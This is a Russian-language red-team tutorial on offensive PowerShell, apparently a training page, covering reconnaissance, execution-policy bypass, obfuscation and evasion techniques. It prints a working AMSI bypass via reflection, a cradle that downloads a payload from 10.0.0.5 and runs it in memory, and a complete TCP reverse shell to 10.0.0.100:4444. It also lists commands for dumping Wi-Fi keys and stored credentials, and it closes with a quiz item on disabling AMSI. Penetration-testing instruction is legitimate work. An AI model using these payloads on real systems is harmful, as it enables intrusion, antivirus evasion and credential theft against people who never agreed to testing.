POWERSHELL ДЛЯ КРАСНЫХ КОМАНД: ОТ РАЗВЕДКИ ДО УКЛОНЕНИЯ
Техники, команды и сценарии для пентеста и анализа защищённости
🔍 PowerShell — это не просто оболочка, а среда выполнения
В контексте кибербезопасности PowerShell трансформируется из инструмента администрирования в платформу для сбора разведданных, выполнения полезных нагрузок и уклонения от систем защиты. Его глубокая интеграция с Windows API, WMI и .NET позволяет выполнять операции, которые традиционно требуют отдельных утилит.
Ключевая особенность: PowerShell выполняет команды в памяти (in-memory), что снижает следы на диске и усложняет обнаружение сигнатурными антивирусами.
📡 Сбор системной и сетевой разведки
| Задача | Команда PowerShell |
|---|---|
| Информация об ОС и железе | Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property * |
| Конфигурация сети | Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNSServer |
| Сканирование открытых портов | 1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect(‘localhost’, $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100,$false); if($sock.Connected) { $_ }; $sock.Close() } |
Первый этап любой операции — понимание окружения. PowerShell позволяет извлекать данные об ОС, сети, процессах и учётных записях без установки дополнительного ПО.
🛡️ Обход политики выполнения (Execution Policy Bypass)
По умолчанию PowerShell ограничивает выполнение неподписанных скриптов. Для операций красных команд это первое препятствие.
# Запуск PowerShell с обходом политики powershell.exe -ExecutionPolicy Bypass -File script.ps1 # Внутри сессии — временное изменение Set-ExecutionPolicy Bypass -Scope Process -Force # Альтернатива: запуск закодированной команды $cmd = 'Get-Process' $encoded = [Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes($cmd) ) powershell.exe -EncodedCommand $encoded
Применение в пентесте: Эти методы позволяют запускать кастомные скрипты без изменения глобальных настроек системы, что снижает риски обнаружения.
🎭 Техники обфускации для уклонения от обнаружения
Современные EDR/антивирусы анализируют сигнатуры и поведение. Обфускация усложняет статический и динамический анализ.
Разделение строк и переменных
$a = 'Get-' $b = 'Process' iex ($a + $b)
Простейший метод, скрывающий команду от примитивных сигнатур.
Base64-кодирование
$cmd = 'Get-Process' $enc = [Convert]::ToBase64String( [Text.Encoding]::Unicode.GetBytes($cmd) ) powershell -EncodedCommand $enc
Встроенная поддержка PowerShell для запуска закодированных команд.
Обход AMSI (Anti-Malware Scan Interface)
[Ref].Assembly.GetType( 'System.Management.Automation.AmsiUtils' ).GetField( 'amsiInitFailed', 'NonPublic,Static' ).SetValue($null, $true)
Критический приём для отключения сканирования содержимого скриптов.
Выполнение в памяти (без диска)
$url = 'http://10.0.0.5/payload.ps1' $script = (New-Object Net.WebClient).DownloadString($url) Invoke-Expression $script
Загрузка и выполнение скрипта напрямую из сети, минуя запись на диск.
⚡ Практические сценарии применения
От обратного шелла до извлечения учётных данных — как использовать PowerShell в реальных операциях.
🔓 Обратный шелл (Reverse Shell) на PowerShell
Установка удалённого доступа к целевой системе через TCP-соединение.
$client = New-Object System.Net.Sockets.TCPClient(
'10.0.0.100', 4444
);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % { 0 };
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = [Text.Encoding]::ASCII.GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
};
$client.Close()
Контекст безопасности: Такой шелл работает в памяти, не оставляя исполняемых файлов. Обнаружение требует анализа сетевого трафика или поведения процесса PowerShell.
🗝️ Источники учётных данных в Windows
| Источник | Команда/Метод | Риск для защиты |
|---|---|---|
| Wi-Fi профили | netsh wlan show profile name=»*» key=clear | Высокий: прямое извлечение паролей |
| Сохранённые данные браузеров | Инструменты типа Invoke-WebBrowserPasswordDump | Критический: доступ к аккаунтам |
| Windows Credential Manager | cmdkey /list (с последующим использованием) |
Высокий: кража RDP/HTTP-учётных данных |
🧠 Проверка понимания: обход защиты
Какая техника позволяет отключить сканирование содержимого скриптов
антивирусным интерфейсом AMSI в PowerShell?
Использование параметра -WindowStyle Hidden
Запуск скрипта из альтернативного потока данных
Установка значения amsiInitFailed = $true через рефлексию
Использование кодирования команды в Base64